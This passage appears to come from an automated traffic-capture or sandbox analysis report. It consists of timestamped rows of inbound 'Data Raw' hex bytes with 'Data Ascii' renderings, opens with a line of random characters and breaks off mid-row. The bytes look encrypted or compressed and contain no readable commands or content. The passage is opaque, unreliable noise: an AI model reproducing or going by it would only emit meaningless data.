;,zko~MYx:7~raGA>8hKQ6;Ya?A>M7Q=L+pF1>Jn8[&S%$6.mnig6\|H'o{Th#M2t9D_GNAyQ4VQ*x
2021-10-13 10:51:51 UTC	43	IN	Data Raw: d4 b6 53 e1 5b 8c 53 32 62 34 f3 13 90 41 a2 bf 61 26 8d db 2b d1 c2 29 98 79 e9 0d 19 c1 7a b6 d1 41 05 46 0c 4c 7e 0b 19 3d bb ea ae 82 77 fe b5 64 7a 07 75 2d a5 72 30 43 9d 73 c7 6c a1 e7 31 74 28 34 77 03 da 9d df 64 b1 20 86 aa d9 60 d3 c5 69 57 76 f0 4f 32 eb 04 d2 fe 0c 3c 50 dd 6c e3 bc 00 2d 29 52 5c 3e 08 20 3f 0e 36 9b 36 4d a5 d3 ae b2 6d f3 1f b4 11 91 7d 86 7d 21 bf 60 a0 45 9f c6 b4 90 6d 56 ee b2 49 fd 75 6a d5 eb fa 8c fb 54 29 0c 31 69 53 5f 5e 6d aa 7c 10 ab 20 60 1b 7c eb 01 44 8f c6 f8 49 7b 5d 42 2a 66 bc 5d b7 52 58 cd ca 9c 78 63 31 7c f8 d2 e2 2c 97 0c 8f ea a5 e6 2c d1 cc 85 e0 b6 49 0f 38 83 76 3b ff e8 4f c1 fd 30 51 a4 8f 42 48 3b b4 c9 30 d0 d0 ab 54 ce 33 97 66 1a 85 97 21 37 dd dd 4b 31 90 68 12 51 37 d7 c3 7a 0b fb 3a ea Data Ascii: S[S2b4Aa&+)yzAFL~=wdzu-r0Csl1t(4wd `iWvO2<Pl-)R\> ?66Mm}}!`EmVIujT)1iS_^m\| `\|DI{]B*f]RXxc1\|,,I8v;O0QBH;0T3f!7K1hQ7z:
2021-10-13 10:51:51 UTC	44	IN	Data Raw: 2e 5a 09 2f 4d b7 cf 1c ba 3e 48 ac 6e 5f c6 ee 6c 87 6f 9a eb fe fd 81 ed 5e 2a 77 ce cb e4 da 1a b4 d5 26 95 f3 05 98 90 23 6b 21 33 ea b1 b4 e0 f5 0d 0d 12 0b 50 14 26 43 a0 81 a2 c1 da 9f 9d 78 a2 09 88 86 36 de 60 29 e6 fc b9 a2 7b f8 2d 09 f7 15 a3 08 9e 90 5e af 43 f3 0a 23 1a e0 f8 cd b4 82 bd a7 d7 f0 90 e4 56 28 11 20 46 0b 41 20 53 b2 89 4b e1 b2 d3 f0 1a 46 e6 ba 4f 94 14 ec 51 e7 a1 e0 8d d3 df 93 c9 33 0e 54 d8 59 56 f4 cb 08 98 fd 2d ec 08 bf be d0 9b 94 b3 17 c6 f9 0f e6 7b 44 10 22 16 ac b0 19 10 97 cf c5 70 fe e9 09 34 06 3c 3f 8d 09 1a 50 58 33 2f 32 73 52 03 b2 f0 f7 2c f5 c6 57 73 dd 4e 84 f7 64 3f 72 22 17 cc 68 55 d5 35 f3 b3 a3 b9 29 8d a5 71 98 d1 38 41 90 bf 71 fe bd 23 7f 1c 1f 52 bd 51 10 49 73 24 fd 16 2b 3d 2d a2 18 82 99 73 Data Ascii: .Z/M>Hn_lo^*w&#k!3P&Cx6`){-^C#V( FA SKFOQ3TYV-{D"p4<?PX3/2sR,WsNd?r"hU5)q8Aq#RQIs$+=-s
2021-10-13 10:51:51 UTC	45	IN	Data Raw: 36 b2 6c ea 3c b9 6f 1f 7e 86 77 52 b7 76 a0 5a e3 44 8d 96 68 41 34 a1 4b e4 66 5c d0 ea d6 9d ec 75 9e 01 19 f4 dc e2 58 02 21 6e 15 b2 07 eb 12 7c fc 1d 73 b8 38 f9 6f 64 25 77 28 66 bc 53 a4 50 5e e5 42 95 60 9b 5f da e0 d0 34 74 91 1d 84 d3 bd ce b6 d8 e4 f4 8e 3c 42 27 2f 90 7c 20 fa e0 50 e3 66 22 5b bd fc 36 48 17 93 f0 8f c4 f8 25 44 c6 24 89 ff e3 84 86 28 5d 51 c9 63 93 86 40 36 79 26 dd d5 8e 19 9e 09 d2 34 f7 c5 8e b1 7e 71 1c 1b fc fb 9a 37 34 ce a6 9c 29 e8 1d af 74 8b 03 97 82 31 07 0c 92 dd 15 c4 26 67 59 fc 39 8d f2 59 cf bd 00 de 57 a1 32 ba 86 05 e7 81 18 8b 45 04 ed 24 ae 91 cc 42 0a 55 bf 85 ef 75 86 3f d6 51 36 c4 fb 28 7f 10 7f 4f c0 5a 58 b8 0e 61 d9 5a 5b 3a 6c 07 a4 30 7f 55 47 5e 61 2c ac 4e 50 36 db a8 ad d7 dc b2 77 26 53 d4 Data Ascii: 6l<o~wRvZDhA4Kf\uX!n\|s8od%w(fSP^B`_4t<B'/\| Pf"[6H%D$(]Qc@6y&4~q74)t1&gY9YW2E$BUu?Q6(OZXaZ[:l0UG^a,NP6w&S
2021-10-13 10:51:51 UTC	47	IN	Data Raw: 27 8e 4b 6e a0 de e2 74 6e 41 a8 50 8e 2f be 43 eb 83 e6 00 d0 d9 86 ea 05 05 45 d5 45 58 b3 7a 09 98 f1 34 9d 9f 78 be da 97 80 d4 c6 ee a0 07 f5 72 3d 2b 2e 2e e7 b7 08 17 e9 16 d4 7e 6e 95 29 27 02 12 08 a5 95 10 7d 57 1a 1b 5c a5 52 12 bc ab 13 2c f5 ca 2b 68 02 5c ab b0 75 3d 72 2e 02 ec e8 6e d5 33 96 44 b4 b8 2f 8b bf a8 a5 99 13 76 96 d0 fc ec b4 56 70 1b 27 56 b7 79 28 58 77 06 ad 17 2c 1d 43 23 19 82 93 1c 86 42 28 54 14 1b 62 6b c6 b6 73 46 97 56 db c5 61 04 0f 05 62 b0 ea de 0c 4b 19 03 1e f5 21 c1 ca 9a f3 85 bb 5f d5 f5 97 bb 7b b6 5a 26 c9 ee 9a d9 01 e3 46 e0 02 b0 e8 b9 62 7c bb 58 17 dd 4c 3e be 86 a4 f6 b1 6d ad 8b 76 ac f7 58 c8 95 fa 20 05 70 4f ad 23 69 80 77 76 a8 63 32 ab d5 5d 7a 7a ca 49 c1 06 de bb 71 ca 7c a4 61 ec 62 38 07 12 Data Ascii: 'KntnAP/CEEXz4xr=+..~n)'}W\R,+h\u=r.n3D/vVp'Vy(Xw,C#B(TbksFVabK!_{Z&Fb\|XL>mvX pO#iwvc2]zzIq\|ab8
2021-10-13 10:51:51 UTC	48	IN	Data Raw: e6 9e 82 eb 1b ad 37 20 23 c3 e1 c2 99 90 62 13 7e 0e e6 c3 70 12 c7 f3 f7 25 f0 ee dc 14 34 70 1a 02 eb 2c 9f 1e 34 9d a5 9c 25 94 90 a8 79 a5 54 0a 82 3b d0 3b 97 f5 a2 d5 20 49 e6 f7 28 8d b5 4c cf bd 0c de 16 b6 12 84 05 02 88 03 34 b1 52 1b 1b 01 cb a0 c6 7a 80 46 b2 94 f3 62 91 58 e9 3c bf c3 ea 23 7d 13 01 6d d3 52 44 c6 8a 71 d1 33 6e 33 7d 07 a4 35 4e 7a cd 5f 67 45 95 46 41 39 f5 2b a1 b8 cd 9e 3f 3d 70 d2 06 3d 2a 3b 8a d6 c8 94 b1 38 70 e6 70 46 fd 99 db 85 7e f4 a6 d6 de ef f9 ea 33 41 d1 b2 dd c8 e2 90 1d a8 4f bc 3a c3 ab dd 32 60 e9 fc 95 c8 6d a4 c9 e3 71 e9 ad 8e 2d 7f ee 51 c2 81 2f d1 8a f7 d7 4b 5a fc af 0a c2 23 ff 59 01 5a 23 8e 80 f0 d1 cf 96 22 1a 7a 20 65 fc a0 cb c1 1e 2b e5 ae 4d f6 42 f2 5d 2b 4c 1c 59 e1 9c de 10 a3 13 8d a2 Data Ascii: 7 #b~p%4p,4%yT;; I(L4RzFbX<#}mRDq3n3}5Nz_gEFA9+?=p=*;8ppF~3AO:2`mq-Q/KZ#YZ#"z e+MB]+LY
2021-10-13 10:51:51 UTC	49	IN	Data Raw: a1 09 00 42 fb 5c 0b 30 ae aa 4d 10 58 6c 63 24 17 2b 3d 9e 22 16 95 45 0f 8f 53 d4 bc 02 30 38 94 39 48 6e 19 52 57 87 cf 0e c3 50 05 68 b2 81 4a 52 59 0b 21 d0 8a 0d ca d9 8d ca 81 d6 7a d1 dd c5 d7 b6 b0 72 34 dc df da c5 e9 e1 46 ec cf aa dc 85 44 6f d4 75 19 f5 72 51 96 8e 7a f0 a6 07 90 99 19 8b dd 4f cc fa d8 0a 51 75 5e bf 1a 63 ed 52 72 c7 af 5d 8d dd 83 72 4e f6 56 7c 05 d4 b0 36 d8 7e a4 6d 23 66 2f 39 7c 9a 53 b5 63 60 2d b4 01 3b fa f6 71 fc 58 18 0e 0a 28 ba bb da 50 15 38 71 72 ff fd 3a d3 61 cf 8b aa 41 d6 b5 6e 6b 2f a1 15 08 db 3b 93 9d 75 ed 6b 89 e7 e8 75 ca 7c 75 0d da 9d df 64 2d 22 1f a8 cc 73 d0 cb 62 52 76 f0 5b 02 e1 04 80 ff 0c 3d 3a dd 6c f2 b2 10 a0 02 7b 59 3f 1b 1c 2b 08 20 82 aa 5c a3 de b8 2e 7d e6 37 a5 8d 96 78 9f 6b dd Data Ascii: B\0MXlc$+="ES089HnRWPhJRY!zr4FDourQzOQu^cRr]rNV\|6~m#f/9\|Sc`-;qX(P8qr:aAnk/;uku\|ud-"sbRv[=:l{Y?+ \.}7xk
2021-10-13 10:51:51 UTC	50	IN	Data Raw: d9 c9 0f c9 06 0e 54 d8 84 60 dc 72 09 b0 ef 26 9f bd 97 86 db 91 99 a5 ff c6 f9 04 84 4b 52 03 2d d0 ea b2 19 64 94 c0 d4 65 4e fa 0d 25 19 24 0d 8d 55 10 7d 5d 55 1d 33 62 21 ad b6 83 70 27 f3 be 6f 75 03 58 89 c8 51 3f 74 00 56 c7 40 6b fd 2d fb 6e b0 d7 e3 8d b4 7c 6e b2 1e 69 a1 d0 f6 f5 b1 0d 6a 19 27 5a 62 51 16 26 5c 0d 73 13 03 20 40 33 1f aa c1 1f 80 44 f3 b4 16 0e 7e 04 0c b7 68 7c 4a 58 a2 ed 56 04 51 0f 6f 89 a1 61 0c 41 cd 09 1e a1 0c dc ca 9e db 92 bf 5f cf ff c3 b6 61 b0 72 3f cb ee ac b6 d7 af 46 e4 c6 be cd 90 4e 4c b2 52 ff f7 74 3e d2 8c 7a e7 c4 ac 81 8a 7c a2 a1 d7 ca 95 f6 04 2f eb 4f ab 01 63 87 09 5e c6 a9 36 83 c8 81 74 59 ef 77 e9 c7 d7 b6 5f da dc a4 6b 38 4a 9f 2d 13 8b 41 b1 78 76 1d ad c8 3a f0 d1 5b 63 8d cb be 10 d6 ac b4 Data Ascii: T`r&KR-deN%$U}]U3b!p'ouXQ?tV@k-n\|nij'ZbQ&\s @3D~h\|JXVQoaA_ar?FNLRt>z\|/Oc^6tYw_k8J-Axv:[c
2021-10-13 10:51:51 UTC	51	IN	Data Raw: a7 19 fe 2f df fc f1 e9 a5 91 22 a6 02 4c e1 e3 87 2c ca b9 a9 8d 23 96 87 9f c3 9c 6b 65 4f 31 0d 17 83 c6 a0 1a 50 12 68 f6 28 8d c9 c1 df b7 22 23 17 b0 3e fd 3c 06 e7 8d 24 bb 45 0b ae 36 df b3 c8 53 06 57 b6 fb c4 66 80 56 ef 59 1e 13 e9 25 68 75 3a 69 c2 5c 58 b8 09 1f ca 34 7d 32 7d 0f da f6 57 15 4e 64 ca bd 79 b3 8e 26 cc b7 d5 83 c7 b3 76 00 77 eb 9a 49 11 31 a7 e8 b6 c9 99 aa 7b 3a a4 7e ee c2 ce 87 7e f8 a6 d7 bc 5c e8 e3 56 62 fb 8a db d9 e4 5f 14 c1 41 b9 10 c5 ba d1 62 5e 86 da 95 c8 6b b5 9c cb dc ea ce 89 42 55 50 50 c4 87 28 dd e5 ec d6 4b 50 22 a0 2f ea 14 f9 59 0b 49 e0 a7 b8 f0 05 c4 48 22 1e 72 37 b3 f5 a8 da c8 1c 0d de c5 b6 08 bd da 9d 28 4c 0b 3c 75 98 e6 ef ab 3b d2 a1 76 72 51 13 6d ad 05 13 83 e2 e4 a8 fc 46 07 ed 33 ca ce b6 Data Ascii: /"L,#keO1Ph("#><$E6SWfVY%hu:i\X4}2}WNdy&vwI1{:~~\Vb_Ab^kBUPP(KP"/YIH"r7(L<u;vrQmF3
2021-10-13 10:51:51 UTC	52	IN	Data Raw: 19 19 c3 df 1c 80 42 db ad 14 66 78 6b c6 c4 68 76 94 8d 87 c5 61 08 51 05 62 bb 99 61 0d 49 13 09 18 b0 0d c0 ca 24 db 92 b9 aa d3 dd c3 ae 7b b0 72 3e cb ee 9c b6 cb e3 46 ec dc be cd 89 54 7c bb 4c 1a f5 74 2b be 8c 7a ec b7 13 80 91 46 ab df 0f cb 95 fc 79 51 73 5e d8 b4 70 82 7d 7a b9 95 32 ab d5 ab ad 5c e2 78 d6 69 e9 b6 59 f8 51 a3 6d 39 bf 21 2c 13 81 8c a1 4c 5a 02 9c c8 30 e9 f8 5a 6e ae 2e 1c 12 dc 71 ac db 50 0e 29 1a 72 ff fd ce 1b 66 e5 8d bd 2f c3 b5 6e 63 23 55 7a 11 73 3a 97 90 7c fe 65 9d f4 3c 4c ab 00 77 03 cb 93 ce 69 b5 31 83 d4 88 62 d3 cf 4a 88 75 f0 46 23 ee 2c ec fe 0c 37 47 b2 51 e3 ad 0a 3e 2f 53 4e 3f 08 10 2b 08 1e 4f 35 4d a3 a6 1b b3 6c ea 5b a1 11 87 65 e9 61 40 bf 6a a2 58 9d ca a4 4a 6d 56 e8 dd ed f6 6a 6e 5f f8 d6 9d Data Ascii: BfxkhvaQbaI${r>FT\|Lt+zFyQs^p}z2\xiYQm9!,LZ0Zn.qP)rf/nc#Uzs:\|e<Lwi1bJuF#,7GQ>/SN?+O5Ml[ea@jXJmVjn_
2021-10-13 10:51:51 UTC	54	IN	Data Raw: b3 71 43 d9 fa 94 36 06 14 b6 ef c8 9b b1 43 72 e6 7c 7e dd c2 b1 86 7e f8 a2 40 e7 09 eb e3 5a 7c c5 9a 93 d8 ee 8b 00 5d 04 9a 38 c5 bc c0 26 42 6d d9 97 ce 04 17 c5 cb d6 c6 9c 99 44 44 e9 79 2f 84 3e db f0 fa fe 03 51 22 aa 38 70 3c 13 5a 0b 4f 3b b0 90 b8 d0 c5 42 34 91 5a 34 b2 ef ae f2 68 0f 3d d1 aa 94 0b bd dc d8 1b 5d 1f 02 8b 9e de 1c c4 99 d2 a1 6d 5b 6f fc 6a 90 05 10 06 fd f7 ab e9 41 2a b2 cc cb e8 a2 82 9d 39 2f b8 f1 19 82 93 65 7b 24 2e 2a 38 de d7 f2 1c 0d 8d ba 4a 34 2d 6b e4 ed 88 c5 f2 17 98 69 a2 4e 26 87 36 d2 7b fd 9c 12 91 95 71 c2 ec e4 0c 99 c2 1e 8f 90 21 bc 7b f3 0b 05 c8 f1 f4 92 8e 92 bd a6 b8 a7 90 e4 29 81 00 3d 4b dd 52 29 59 8a 9c 42 e6 04 ec 8a 87 b9 19 75 45 ad 14 85 51 e7 a1 db 05 a3 60 95 e1 1d 05 7c ea 54 5f d6 ac Data Ascii: qC6Cr\|~~@Z\|]8&BmDDy/>Q"8p<ZO;B4Z4h=]m[ojA9/e{$.8J4-kiN&6{q!{)=KR)YBuEQ`\|T_
2021-10-13 10:51:51 UTC	55	IN	Data Raw: 20 7d 1b d3 12 ad 5e b3 78 7a 5a 87 c9 3a f0 e3 7a 76 94 16 0d 00 c9 a2 5b db 7c 09 41 35 62 e0 f8 f5 d0 65 f4 99 b5 53 00 b4 42 60 3e 57 02 3f 7e 25 89 8e 67 ed 7a 99 f8 27 8a 68 2c 7d 12 d0 8a 45 77 23 3d 91 b9 a6 62 c2 d7 7d 4d 88 f1 6c 3d fa 14 d9 ef 82 8a 6f 9d 6e e3 ad 1f 0d 3a 69 59 2f 1a 05 31 f0 37 b8 3d 5c ab d8 a3 28 7f e7 30 bf 02 95 7e 97 6f 5e 9b 9e b0 7f 9c dd 84 be 6d 52 ee b4 37 dd 68 64 2d f5 f3 8e ef 7c 9e 1f 2e 79 21 e3 72 66 83 6d 11 b4 29 60 14 63 e1 18 49 96 29 eb 7a 7b 9b a0 04 61 aa 51 a0 5e 58 de c9 96 71 8f 2f 45 1f d1 1e 71 86 06 9b 58 99 7e 2f db e2 e4 c9 98 43 27 23 95 45 12 ec e7 4f d9 fd 30 49 a4 b1 42 48 3b 98 c9 3f d5 fe 4c 73 cc 35 87 f4 3e 96 85 20 32 db d6 7f 67 91 44 0e 68 2c c1 59 58 d9 fc 25 f1 33 d8 c7 af 99 3f 66 Data Ascii: }^xzZ:zv[\|A5beSB`>W?~%gz'h,}Ew#=b}Ml=on:iY/17=\(0~o^mR7hd-\|.y!rfm)`cI)z{aQ^Xq/EqX~/C'#EO0IBH;?Ls5> 2gDh,YX%3?f
2021-10-13 10:51:51 UTC	56	IN	Data Raw: 1a ab 3a c1 b4 76 62 5c f2 61 1c 11 2d 84 a3 f7 ad f6 44 09 ec dc c0 6c 02 00 6f c6 3b ab e7 34 4e bb 2d 7a 35 2f 2d b2 2b d9 f9 18 0b 9a d3 60 db 2e 61 f3 89 b3 d7 68 39 94 7c a4 27 52 60 37 d8 60 e1 0d db ce b9 63 e9 2c 0b e3 fc 0a 19 95 8b 44 1d 14 3e 0a 29 ce f8 24 88 46 92 bd ad db e1 9b f5 33 c7 39 3e 58 0b 47 4e 4a 83 8d 41 79 b8 c2 e0 6e 90 7c 83 5c 8c 3c b4 3e e5 aa c8 08 8f f3 e0 f0 1c 1f 44 48 42 4e d7 63 18 02 94 eb 9f b7 b5 a9 00 fe 60 dc c0 cc ea 00 e4 7f 43 13 3b f8 7b a7 08 1b 97 d0 c3 a8 fe 95 c0 25 02 1e 16 57 66 e3 7d 5d 01 0e 35 00 70 10 b6 85 69 3c e4 c5 2b b9 03 5c ab c5 62 11 63 39 0c ab 68 6f d5 33 e8 7f a7 be 46 a9 b6 76 b6 ad 2a 50 93 bf d0 fd bd 23 43 08 0f 5d b8 51 16 37 5d 0e 73 11 2d 26 53 5c 02 83 93 16 91 52 cc 7b 07 1e 69 Data Ascii: :vb\a-Dlo;4N-z5/-+`.ah9\|'R`7`c,D>)$F39>XGNJAyn\|\<>DHBNc`C;{%Wf}]5pi<+\bc9ho3Fv*P#C]Q7]s-&S\R{i
2021-10-13 10:51:51 UTC	57	IN	Data Raw: 87 6b 9c 7d 41 be 7b 81 57 8c e5 8d 96 6e 20 ee b2 49 84 d5 64 2b e0 dc b5 46 7e 8f 0b 19 af df e2 54 45 b0 6b 15 b2 07 c8 13 7c fc 23 97 96 38 f3 4d 6e 61 a1 2e 4e 98 42 ad 4b 44 e5 31 97 60 97 18 77 e1 d0 38 74 92 1d 88 ea 80 e6 2c d1 c9 f9 92 09 43 27 23 88 ab ec f3 f1 5c da f8 09 07 bb 93 ba 44 1e bd 3c 34 c4 fe 0b b2 cd 35 87 c3 40 85 97 26 30 cd c0 4b 7e 93 68 1e 51 ce d4 c3 76 30 a3 25 f7 23 e3 ef a6 b1 dc 73 1c 17 c5 18 88 3b 1a 82 f8 9c 2f 81 84 a6 7d a5 71 0e 82 37 25 03 91 f5 a4 ec 7b 61 4a f2 3b 8c d3 e3 d1 b9 0a f5 3c 90 3c 92 12 2c ba 8b 35 b7 58 1d c9 3a f3 b1 ce 44 1a 6e 9c 94 e2 6e 96 7e ad 20 14 c0 ea 23 7d 13 01 62 d3 5e 76 4f 00 70 d7 24 7b 10 4b 01 b5 37 38 3d 46 5e 61 52 8f 5d 58 5f f9 bb a0 be d6 ba 66 2b 14 dc 96 3c 2c 20 ae c1 f8 Data Ascii: k}A{Wn Id+F~TEk\|#8Mna.NBKD1`w8t,C'#\D<45@&0K~hQv0%#s;/}q7%{aJ;<<,5X:Dnn~ #}b^vOp${K78=F^aR]X_f+<,
2021-10-13 10:51:51 UTC	59	IN	Data Raw: 79 47 44 ba 58 9c 28 a6 79 4f ab c8 08 f8 ce 95 e1 1d 1d 50 d5 40 77 63 71 08 9e e3 ab 98 b7 bf bf c9 99 82 d4 d6 dd e8 03 23 f8 6d 03 2c 2f 43 a0 11 07 9a d1 d2 a8 7f eb 0b f3 d8 98 31 8d 09 11 df 4c 03 09 27 67 7a ba b6 83 70 05 e4 c0 44 7e 10 5b b0 db 7b 9e 72 28 0e db 50 45 39 34 f9 64 a7 be f3 9a 6e 69 9f ad 3c 69 37 d0 f6 f5 a2 35 7a f5 26 50 b6 87 0f 61 2a d6 60 12 23 26 47 1b f4 83 93 16 0c 03 db ad 15 26 4f 6a c6 bd 64 67 92 41 51 d6 67 15 57 14 6b 9f a7 9e f3 b4 1b 21 b9 8b 0d ca c0 40 c9 ba 8e 5f d3 d7 eb 96 79 b0 74 34 e3 d6 9c b6 c1 3d 46 ec f6 be cd d0 49 7c bb 52 1b f5 74 3e be 8c 7a 8c b6 13 81 f0 77 a8 df 5d ca 95 fc 12 51 73 4e b0 3b 77 82 71 71 c7 a9 4c ab df 92 76 55 e0 68 ae e2 d5 b6 53 ed 23 97 63 30 75 51 21 12 81 58 bf 6f 5a 94 9c Data Ascii: yGDX(yOP@wcq#m,/C1L'gzpD~[{r(PE94dni<i75z&Pa*`#&G&OjdgAQgWk!@_yt4=FI\|Rt>zw]QsN;wqqLvUhS#c0uQ!XoZ
2021-10-13 10:51:51 UTC	60	IN	Data Raw: 20 23 d3 c9 63 98 92 68 18 79 7a d7 c3 70 25 ff 25 f7 bc f1 e9 af 8f 35 70 1c 11 ed f2 8b 20 2c ae a5 dd 2e 87 97 2e 74 8d 7d 79 3d 31 0d 17 9e dd e2 c0 26 67 47 dc 69 8f da cd c4 b4 22 b1 10 b0 3e ba 3a 06 e7 8d 1d 59 55 0c cb 3a 7c b3 ce 48 1f 40 bb bc 7a 67 80 56 d6 7d 34 c2 ec 0d 86 1b 10 61 ea fb 5e a9 09 63 d5 33 55 c9 6f 01 b3 15 79 17 44 58 4f ab 87 4c 5a 18 7c b9 a0 b2 d4 b4 71 04 e3 f9 94 3a 02 1f a5 e9 df b6 71 ab 71 ec 52 ca cb ea f3 94 7b e3 b3 f2 e1 e1 e8 e5 4a 41 fd b2 db d3 f8 7f 17 d6 6c 96 14 c7 ba d7 35 42 a8 da 97 c2 7d 4b c4 94 f0 ed b9 84 9f f2 ec 51 c4 96 38 f5 cb ee d6 4d 46 0a 8e 2f ea 1e e9 77 4b 3a 0c a4 b8 f6 c2 cd 59 2a 23 2b 35 b3 e9 c7 f2 cb 0f 3b ca cd a3 0f d2 fe f1 28 4a 0b 22 77 99 f6 18 aa 3b d4 ce 41 75 4a eb 7d 89 28 Data Ascii: #chyzp%%5p ,..t}y=1&gGi">:YU:\|H@zgV}4a^c3UoyDXOLZ\|q:qqR{JAl5B}KQ8MF/wK:Y*#+5;(J"w;AuJ}(
2021-10-13 10:51:51 UTC	61	IN	Data Raw: 48 9d bc 51 1a 4e 89 0e 2c 3b 0e 26 49 1b e9 82 93 1a 93 46 ca a7 3c fe 78 6b c0 bc 79 7a 82 cc af 17 63 04 57 2d 4c a3 99 67 63 36 13 09 12 87 1c c4 a5 53 db 92 b3 48 2d df c4 d7 b6 b0 72 34 dc 10 9e e9 e7 d7 35 c8 de be cb 82 58 6d b6 5a 74 dd 76 3e b8 9d 77 e7 b3 7c a5 88 76 ae ce 42 cd fa da 0a 51 75 5e a6 23 39 86 77 76 a8 83 30 ab d9 85 65 52 8d 65 c0 06 de 68 4c d7 54 93 6b 32 68 2d 23 60 3e 52 b5 63 7f 1d a4 c8 3a f0 22 65 74 97 01 ca 01 c7 bd b4 cb 42 80 e0 19 aa 01 08 19 d3 63 f2 5d b9 46 ef b3 7f 79 11 d6 eb 5a 8d e4 88 b8 5d da 6b 8b ed 22 7b 1a bf 77 03 d0 90 f7 5c 2f 22 8c 74 b6 64 f9 cc 48 52 76 b1 74 32 eb 04 c8 fe 0c f8 50 dd 6c 3e ad 00 2d 8b 7a 59 3e 1d 1a 3a 0e 2c 94 36 4c a5 c9 ae b2 3e e0 2f b3 96 86 7e 86 a4 40 bf 60 a4 53 8c cc 96 Data Ascii: HQN,;&IF<xkyzcW-Lgc6SH-r45XmZtv>w\|vBQu^#9wv0eRehLTk2h-#`>Rc:"etBc]FyZ]k"{w\/"tdHRvt2Pl>-zY>:,6L>/~@`S
2021-10-13 10:51:51 UTC	63	IN	Data Raw: 6c 37 66 43 8c 23 4c 31 dd b3 b3 bc d6 b7 5f db 7b fa 92 31 35 65 2a c2 d9 9e 98 b9 76 f7 7d 7d eb 19 f9 87 7e 6e a4 dd d8 fc ce 7f 4d 6e cb 92 5a d9 ee 81 8a d6 6c a7 1a 01 ba d1 23 f6 97 dd 8d d7 52 29 d4 cc c7 ca 2b 88 42 55 70 40 c3 9b 1e 06 e5 ec d6 d7 41 25 bd 0f 78 14 ff 59 97 58 29 b8 a7 81 4d d4 4f 3d 02 52 94 b3 ef a8 46 d8 08 22 d1 e5 0b 09 bd da 6f 39 4b 05 21 46 7b de 1a ab a7 c3 a6 78 7b 55 be f0 90 07 27 e6 e1 8d 31 ed 50 1d f4 ed 5e e2 b5 18 29 c4 2b a7 f8 13 e8 27 3c 7d 3b 34 2a 3e a0 f6 ef 0d 1d 00 ad 65 c5 3c 7d 7e 93 a5 d8 e1 07 02 69 a3 3e 29 90 aa c9 6d e8 e6 cf 0d 84 7c e7 31 3a 0c 66 1c 08 02 8b 53 98 6c e5 96 38 c3 ff e6 f1 29 83 ba b8 ce d0 10 e4 23 5d 8d 24 5b 14 5b 37 d4 93 8a 54 73 a5 4f e1 7e 59 fa bd cc 99 3b ad 4c c7 2b c8 Data Ascii: l7fC#L1_{15ev}}~nMnZl#R)+BUp@A%xYX)MO=RF"o9K!F{x{U'1P^)+'<};4>e<}~i>)m\|1:fSl8)#]$[[7TsO~Y;L+
2021-10-13 10:51:51 UTC	64	IN	Data Raw: 71 67 95 81 3e f9 d3 9c 59 f2 67 94 62 32 0e 3d 2d 13 0b 52 b5 78 01 8a 9c c8 30 f0 e6 d1 7e 86 16 1d 01 cf bd bc cc 2e 32 57 26 78 d7 a1 e2 c2 63 8a 38 ab 40 f4 17 7f 70 38 23 29 a5 72 30 b5 ca 71 ed 6d e4 54 30 74 63 a2 66 1a c2 e3 e3 64 2f 28 ae f2 b0 62 d5 aa d1 53 76 fa e2 23 f2 1d b6 c2 0c 3d 5a f5 35 e7 ad 06 42 9a 7a 59 34 aa 0b 23 02 3e 87 27 5b b6 d9 96 6c 6e e0 2f a2 00 96 6e 1c 70 48 86 ac b3 53 8c c5 e3 22 6f 56 e4 a1 4b e1 79 76 13 5b d4 9d fd 6d 9c 1c 23 f9 cc e6 57 7c af 00 a6 b5 2f 79 02 79 89 6f 5a 96 32 ea 63 63 60 89 72 62 bc 44 c2 f4 53 cd d1 82 9e 9c 26 ae e0 c1 37 4f cc 08 8d c4 de 53 2d db ee e6 1f b7 55 d9 28 92 73 19 af f5 5c cd 92 94 5a bb 99 a8 b7 16 83 26 36 a4 e9 26 7f 93 31 81 ed 72 30 96 20 29 dd 37 62 8f 6e 69 78 68 23 ff Data Ascii: qg>Ygb2=-Rx0~.2W&xc8@p8#)r0qmT0tcfd/(bSv#=Z5BzY4#>'[ln/npHS"oVKyv[m#W\|/yyoZ2cc`rbDS&7OS-U(s\Z&6&1r0 )7bnixh#
2021-10-13 10:51:51 UTC	65	IN	Data Raw: cf 9a 26 bd da f9 04 50 05 36 4e c3 de 1a a1 54 f0 a0 67 7d 62 85 68 81 06 10 cf fe f7 a7 d4 da 03 fa c7 c7 eb 3b af bd 5b 9b 6e e0 23 9f c8 92 7a 24 2e 37 7f d8 f7 f0 1c 02 12 0b 6a 54 99 bd f5 58 b5 11 7f 04 9e 78 a5 32 39 8f b8 6f 7c c6 d8 cf 98 1b cc ef fd 09 ed 75 16 23 87 8b 50 96 71 fa 1b 23 5e c8 97 e3 b5 94 95 83 d7 f0 9a 46 32 57 06 e3 4f 01 50 2b 59 9c bc aa 60 3d 64 e6 48 71 f0 b8 5b 81 b2 05 40 e3 25 7f 15 0a cc 8a f2 1b 25 4b c3 50 4e d0 7a 19 93 61 0e f5 b3 bf b8 f2 b5 93 dc ca 64 e8 0e e2 a2 41 08 3d 22 f6 67 0a 1c 97 cc c5 61 55 21 7e d7 03 14 04 9e 00 01 79 4e 2a 0b 20 53 6a a0 b3 83 7a 3c d4 d1 64 ee 10 49 b0 ca 4a 28 6b 5b f7 c5 40 67 c6 24 e8 7f a2 90 aa 8f b4 70 a6 31 3c 41 96 d1 e2 eb a9 0d fa 19 27 5a 94 0b 10 58 7d 80 4c 17 2b 36 Data Ascii: &P6NTg}bh;[n#z$.7jTXx29o\|u#Pq#^F2WOP+Y`=dHq[@%%KPNzadA="gaU!~yN* Sjz<dIJ(k[@g$p1<A'ZX}L+6
2021-10-13 10:51:51 UTC	66	IN	Data Raw: fb ad 88 0b c7 b3 7d 04 21 fa 94 36 02 dc a6 e9 d3 b6 4e ab 71 ec 52 4f cb ea f3 94 71 e3 ba f2 a2 e7 e8 e5 33 74 d2 b2 d1 f4 cf 90 19 ef 05 ba 3a c3 d5 cc 22 6a 8c f6 95 e3 7a a4 ca e3 b3 ee ad 8e 2d 48 ed 51 ce be fa dd e5 ec c7 5d 4f 2b 76 3c fd 05 eb 4f 38 18 3f b0 a0 26 c2 d2 63 6b 1a 62 24 94 fe 8f cb ee 60 1a d9 c5 b4 18 b3 cd 7e 2f 4c 1a 2b 75 bf cf 38 bd 2a c5 2d 58 77 4a ec ce 90 22 2c c3 4d f7 ad f6 7f 58 fa cd c1 ca 58 19 b5 df 04 6f f6 0c 9e 93 09 7a 24 2e 53 8a b3 f1 f6 0d 1c 8b 6a 71 cd 3f 65 f5 0f a5 c7 f2 10 8d 5e b5 07 2b 97 21 54 55 f7 f3 d8 33 84 5d ec 0f a9 f3 66 16 17 be 16 6b 87 7b f2 1c 01 7d 